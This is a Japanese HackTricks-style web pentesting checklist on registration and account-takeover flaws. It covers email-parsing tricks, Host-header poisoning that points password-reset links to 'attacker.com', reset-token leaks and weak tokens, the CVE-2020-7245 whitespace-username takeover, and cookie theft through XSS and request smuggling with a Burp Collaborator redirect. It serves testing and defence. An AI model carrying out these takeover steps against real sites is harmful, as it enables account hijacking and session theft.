Registration & Takeover Vulnerabilities
Last updated
Last updated
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
既存のユーザー名を使用して生成を試みる
メールアドレスを変えて確認する:
大文字
+1@
メールにドットを追加する
メール名に特殊文字を含める (%00, %09, %20)
メールの後に黒い文字を入れる:test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
アプリケーション内でユーザー名がすでに登録されているかどうかを確認できるかチェックする。
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。 その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
このページを確認して、アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶ。
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
使い捨てメールを使用できるか確認する
長い パスワード (>200) は DoS を引き起こす
アカウント作成のレート制限を確認する
username@burp_collab.netを使用し、コールバックを分析する
自分のメールアドレスにパスワードリセットをリクエストする
パスワードリセットリンクをクリックする
パスワードを変更しない
任意の3rdパーティのウェブサイト(例:Facebook、Twitter)をクリックする
Burp Suiteプロキシでリクエストを傍受する
リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。
Burp Suiteでパスワードリセットリクエストを傍受する
Burp Suiteで次のヘッダーを追加または編集する:Host: attacker.com
, X-Forwarded-Host: attacker.com
修正されたヘッダーでリクエストを転送する
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
_hostヘッダー_に基づいてパスワードリセットURLを探す:https://attacker.com/reset-password.php?token=TOKEN
攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります。
Burp Suiteを起動し、リクエストをインターセプトします。
リピータタブに送信し、パラメータを編集します:ユーザーID/メール
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。 トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
タイムスタンプ
ユーザーID
ユーザーのメール
名と姓
生年月日
暗号化
数字のみ
小さなトークンシーケンス(文字は[A-Z,a-z,0-9]の間)
トークンの再利用
トークンの有効期限
特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。
サーバーの応答を検査し、resetToken
を確認します。
次に、トークンをURLに使用します:https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:"admin "
悪意のあるユーザー名でパスワードリセットをリクエストします。
あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
新しいパスワードで被害者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。 参照:CVE-2020-7245
アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:*.domain.com
現在のセッションクッキーを漏洩させます。
クッキーを使用してユーザーとして認証します。
1. smugglerを使用してHTTPリクエストスムグリングのタイプ(CL、TE、CL.TE)を検出します。
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 次のデータでPOST / HTTP/1.1
を上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X:
被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。
3. 最終リクエストは次のようになります。
Hackeroneはこのバグを悪用した報告をしています * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
ペイロードを送信します
JSON Web Tokenはユーザーを認証するために使用されることがあります。
別のユーザーID / メールでJWTを編集します
弱いJWT署名を確認します
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)